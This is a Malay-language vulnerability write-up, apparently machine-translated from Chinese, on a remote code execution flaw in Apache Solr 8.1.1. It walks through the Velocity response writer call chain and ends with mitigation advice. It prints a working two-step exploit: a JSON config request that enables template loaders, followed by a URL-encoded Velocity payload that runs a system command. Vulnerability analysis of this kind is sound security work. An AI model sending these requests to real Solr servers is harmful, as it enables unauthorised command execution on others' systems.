Rumah  >  Artikel  >  Operasi dan penyelenggaraan  >  Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr

Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr

王林
王林ke hadapan
2023-05-25 18:58:301466semak imbas

Pengenalan

Kerentanan RCE 0hari ditemui dalam Apache Solr (nombor kerentanan tidak diberikan Di sini kami hanya menghasilkan semula objek dan menganalisis keseluruhan proses RCE untuk kemudahan anda.

Kerentanan Berulang

Versi Berulang: 8.1.1

Untuk melaksanakan RCE, anda perlu membahagikannya kepada dua langkah Pertama, sahkan bahawa aplikasi mempunyai a teras tertentu didayakan (anda boleh Lihat dalam Pentadbir Teras), aplikasi dalam contoh itu telah mycore didayakan,

怎样进行Apache Solr最新RCE漏洞分析

dan kemudian mula-mula menghantar data json berikut ke antara muka konfigurasinya,

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

怎样进行Apache Solr最新RCE漏洞分析

Kemudian lawati url berikut untuk melaksanakan RCE,

/solr/mycore/select?wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Prinsip

Mula-mula analisa paket data pertama, kerana ia adalah konfigurasi daripada mycore, jadi kita dahulukan Titik putus ditetapkan pada fungsi handleRequestBody SolrConfigHandler yang mengendalikan permintaan konfigurasi,

怎样进行Apache Solr最新RCE漏洞分析

Oleh kerana ia adalah permintaan POST, ikuti fungsi handlePOST,

怎样进行Apache Solr最新RCE漏洞分析

Dalam handlePOST, mula-mula keluarkan konfigurasi semasa mycore, dan kemudian bawa ke dalam fungsi handleCommands bersama-sama dengan konfigurasi yang kami hantar, dan dalam operasi seterusnya, akhirnya masukkan addNamedPlugin dan cipta objek VelocityResponseWriter Nilai solr.resource.loader.enabled dan params.resource.loader.enabled ditetapkan kepada benar, dan nama objek ialah halaju.

怎样进行Apache Solr最新RCE漏洞分析

Kemudian apabila menghantar paket data kedua, apabila mendapat responseWriter dalam HttpSolrCall.call, objek responseWriter akan diperolehi mengikut nilai parameter wt velocity, apa yang kami dapat ialah VelocityResponseWriter kami yang dikonfigurasikan dengan teliti

怎样进行Apache Solr最新RCE漏洞分析

怎样进行Apache Solr最新RCE漏洞分析

Selepas beberapa siri panggilan berikutnya, ia akhirnya memasuki kerentanan kami yang paling serius. Fungsi VelocityResponseWriter.write mula-mula memanggil fungsi createEngine untuk menghasilkan enjin yang mengandungi templat hasad custom.vrm->payload

怎样进行Apache Solr最新RCE漏洞分析

Templat hasad diletakkan di dalam enjin. Terdapat perkara yang sangat penting dalam

怎样进行Apache Solr最新RCE漏洞分析

dalam params.resource.loader.instance dan solr.resource.loader.instance overridingProperties Jika anda mahu membiarkan templat hasad masuk params.resource Dalam .loader.instance dan solr.resource.loader.instance, anda perlu memastikan bahawa paramsResourceLoaderEnabled dan solrResourceLoaderEnabled adalah Benar Inilah yang dilakukan oleh paket data pertama kami,

怎样进行Apache Solr最新RCE漏洞分析

<.>Kemudian VelocityResponseWriter.getTemplate akan mendapat templat berniat jahat yang kami bina berdasarkan parameter v.template yang kami serahkan

怎样进行Apache Solr最新RCE漏洞分析

Akhir sekali, templat berniat jahat dikeluarkan dan kaedah gabungannya,

怎样进行Apache Solr最新RCE漏洞分析

Untuk memahami templat ini, anda perlu memahami enjin templat Java Velocity (kerana tmplat ini ialah objek kelas org.apache.velocity.Template), terjemah kenyataan rasmi Seperti berikut,

Velocity是一个基于Java的模板引擎。它允许任何人使用简单但功能强大的模板语言来引用Java代码中定义的对象
Daripada pernyataan ini, kita dapat melihat bahawa enjin templat ini mempunyai fungsi melaksanakan kod java Kita hanya perlu memahami kaedah penulisan asasnya

// 变量定义
#set($name =“velocity”)
// 变量赋值
#set($foo = $bar)
// 函数调用
#set($foo =“hello”) #set(foo.name=bar.name) #set(foo.name=bar.getName($arg)) 
// 循环语法
#foreach($element in $list)
 This is $element
 $velocityCount
#end
// 执行模板
template.merge(context, writer);
Dengan di atas pengenalan sintaks asas, kami boleh memahami kaedah pembinaan muatan Jika anda mahu pemahaman yang lebih mendalam, anda boleh menyemak sendiri maklumat Velocity Java.

Jadi melalui kaedah gabungan templat berniat jahat yang dipanggil terakhir, RCE berjaya dihasilkan dan rantai panggilan kunci akhirnya ditambahkan.

怎样进行Apache Solr最新RCE漏洞分析

Pelan pembaikan

Pada masa ini, tampalan rasmi belum disediakan. Adalah disyorkan untuk menyekat akses kepada solr.

Atas ialah kandungan terperinci Bagaimana untuk menganalisis kerentanan RCE terkini dalam Apache Solr. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!

Kenyataan:
Artikel ini dikembalikan pada:yisu.com. Jika ada pelanggaran, sila hubungi admin@php.cn Padam